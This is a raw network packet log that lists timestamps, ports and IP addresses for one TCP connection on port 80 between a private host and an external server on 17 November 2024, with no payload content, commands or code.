Nov 17, 2024 12:35:40.544519901 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.544534922 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.544552088 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.544560909 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.544589996 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.580455065 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.580481052 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.580497980 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.580513954 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.580526114 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.580554008 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.580573082 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.580576897 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.580589056 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.580610991 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.580641031 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.580677032 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.580692053 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.580705881 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.580720901 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.580732107 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.580737114 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.580738068 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.580764055 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.580790043 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.580872059 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.580945015 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.655057907 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.655090094 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.655105114 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.655131102 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.655157089 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.655185938 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.655200958 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.655215979 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.655229092 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.655293941 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.655810118 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.655837059 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.655853033 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.655877113 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.655904055 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.656001091 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.656016111 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.656033993 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.656049967 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.656058073 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.656085014 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.656194925 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.656208038 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.656224012 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.656239033 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.656250000 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.656280041 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.657694101 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.657712936 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.657730103 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.657757998 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.657771111 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.657777071 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.657785892 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.657799959 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.657815933 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.657825947 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.657844067 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.657866001 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.658050060 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.658099890 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.658114910 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.658140898 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.658164024 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.658196926 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.658210039 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.658226013 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.658243895 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.658252954 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.658265114 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.658283949 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.658302069 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.658303022 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.658339977 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.658400059 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.658452988 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.658467054 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.658482075 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.658493042 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.658508062 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.658519030 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.658561945 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.658648014 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.658711910 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.658714056 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.658727884 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.658751965 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.658765078 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.658768892 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.658783913 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.658826113 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.658842087 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.658885956 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.659116030 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.659164906 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.659174919 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.659189939 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.659215927 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.659234047 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.659245968 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.659249067 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.659265041 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.659290075 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.659327030 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.659347057 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.659388065 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.659427881 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.659442902 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.659460068 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.659466982 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.659476042 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.659487009 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.659501076 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.659509897 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.659573078 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.659588099 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.659605026 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.659620047 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.659625053 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.659645081 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.659650087 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.659660101 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.659681082 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.659704924 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.659776926 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.659790993 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.659805059 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.659815073 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.659821033 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.659830093 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.659837961 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.659847021 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.659863949 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.659878016 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.659892082 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.659930944 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.659996986 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.660011053 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.660026073 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.660037041 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.660043001 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.660049915 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.660060883 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.660068035 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.660077095 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.660084963 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.660095930 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.660101891 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.660116911 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.660145044 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.660270929 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.660285950 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.660304070 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.660305977 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.660320044 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.660322905 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.660335064 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.660342932 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.660351038 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.660358906 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.660366058 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.660373926 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.660382032 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.660389900 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.660398006 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.660404921 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.660413980 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.660420895 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.660435915 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.660449982 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.660494089 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.660509109 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.660526991 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.660542011 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.660559893 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.660595894 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.660643101 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.660657883 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.660675049 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.660693884 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.660697937 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.660701036 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.660732985 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.660748005 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.660854101 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.660868883 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.660887003 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.660888910 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.660902023 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.660904884 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.660917997 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.660919905 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.660929918 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.660937071 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.660947084 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.660950899 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.660970926 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.660984039 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.661186934 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.661200047 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.661215067 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.661230087 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.661242962 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.661254883 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.661258936 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.661271095 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.661286116 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.661290884 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.661302090 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.661307096 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.661318064 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.661333084 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.661334038 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.661349058 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.661356926 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.661365032 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.661381006 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.661386013 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.661396980 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.661411047 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.661412954 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.661426067 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.661431074 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.661442041 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.661454916 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.661479950 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.661681890 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.661695957 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.661710024 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.661719084 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.661725998 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.661739111 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.661741018 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.661751986 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.661757946 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.661768913 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.661794901 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.661869049 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.661884069 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.661904097 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.661906004 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.661919117 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.661947012 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.662081003 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.662096024 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.662111044 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.662125111 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.662137985 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.662141085 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.662156105 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.662167072 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.662172079 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.662185907 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.662190914 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.662200928 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.662209034 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.662215948 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.662230968 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.662249088 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.662255049 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.662261963 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.662264109 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.662273884 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.662312031 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.662484884 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.662501097 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.662516117 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.662523985 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.662529945 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.662547112 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.662553072 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.662560940 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.662579060 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.662585020 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.662594080 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.662625074 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.662787914 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.662803888 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.662821054 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.662827015 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.662848949 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.662863016 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.662863016 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.662863016 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.662880898 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.662887096 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.662895918 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.662910938 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.662910938 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.662925959 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.662930012 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.662940979 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.662954092 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.662956953 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.662967920 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.662971973 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.662982941 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.662998915 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.662998915 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.663016081 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.663026094 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.663031101 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.663047075 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.663048983 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.663062096 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.663069963 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.663080931 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.663094044 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.663094997 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.663115978 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.663136959 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.700279951 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.700330973 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.700339079 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.700345993 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.700371027 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.700388908 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.700392008 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.700403929 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.700418949 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.700437069 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.700442076 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.700484991 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.700486898 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.700500965 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.700521946 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.700546980 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.700612068 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.700647116 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.700660944 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.700687885 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.700702906 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.700717926 CET	80	49778	185.215.113.206	192.168.2.5
